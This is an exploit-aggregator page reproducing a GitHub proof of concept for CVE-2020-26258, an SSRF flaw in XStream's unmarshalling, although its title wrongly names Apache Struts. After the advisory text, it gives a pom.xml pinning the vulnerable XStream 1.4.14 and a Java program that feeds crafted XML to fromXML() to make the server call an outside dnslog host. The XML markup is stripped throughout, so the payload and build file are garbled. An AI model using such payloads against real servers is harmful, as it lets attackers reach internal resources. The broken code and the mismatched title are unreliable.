Sploitus

Exploit for Server-Side Request Forgery in Apache Struts

githubexploit Β· 2021-01-22

Exploit Code

README137 lines
## https://sploitus.com/exploit?id=F9061858-90CD-55ED-9193-068E2E50FF77
## Description

XStream is a Java library to serialize objects to XML and back again. In XStream before version 1.4.15, a Server-Side Forgery Request vulnerability can be activated when unmarshalling. 

The vulnerability may allow a remote attacker to request data from internal resources that are not publicly available only by manipulating the processed input stream. If you rely on XStream's default blacklist of the Security Framework, you will have to use at least version 1.4.15. The reported vulnerability does not exist if running Java 15 or higher. No user is affected who followed the recommendation to setup XStream's Security Framework with a whitelist! Anyone relying on XStream's default blacklist can immediately switch to a whilelist for the allowed types to avoid the vulnerability. Users of XStream 1.4.14 or below who still want to use XStream default blacklist can use a workaround described in more detailed in the referenced advisories.

## Environment

pom.xml

```xml



  4.0.0

  CVE-2020-26258
  CVE-2020-26258
  1.0-SNAPSHOT

  CVE-2020-26258
  
  http://www.example.com

  
    UTF-8
    1.7
    1.7
  

  
    
      junit
      junit
      4.11
      test
    
      
      
          com.thoughtworks.xstream
              xstream
          1.4.14
      
  
  
    
      
        
        
          maven-clean-plugin
          3.1.0
        
        
        
          maven-resources-plugin
          3.0.2
        
        
          maven-compiler-plugin
          3.8.0
        
        
          maven-surefire-plugin
          2.22.1
        
        
          maven-jar-plugin
          3.0.2
        
        
          maven-install-plugin
          2.5.2
        
        
          maven-deploy-plugin
          2.8.2
        
        
        
          maven-site-plugin
          3.7.1
        
        
          maven-project-info-reports-plugin
          3.0.0
        
      
    
  

```

## How to SSRF

CVE_2020_26258.java

```java
import com.thoughtworks.xstream.XStream;

public class CVE_2020_26258 {
    public static void main(String[] args) {
        String ssrf_xml = "\n" +
                "  \n" +
                "    \n" +
                "      0\n" +
                "      \n" +
                "        \n" +
                "          \n" +
                "            http://02l6ew.dnslog.cn/:\n" +
                "          \n" +
                "          \n" +
                "        \n" +
                "        0\n" +
                "      \n" +
                "    \n" +
                "    test\n" +
                "  \n" +
                "";
        
        XStream xstream = new XStream();
        xstream.fromXML(ssrf_xml);
    }
}
```

Result:

![](img/execute.jpg)

Dnslog:

![dnslog](img/dnslog.png)

## Reference

https://vulners.com/cve/CVE-2020-26258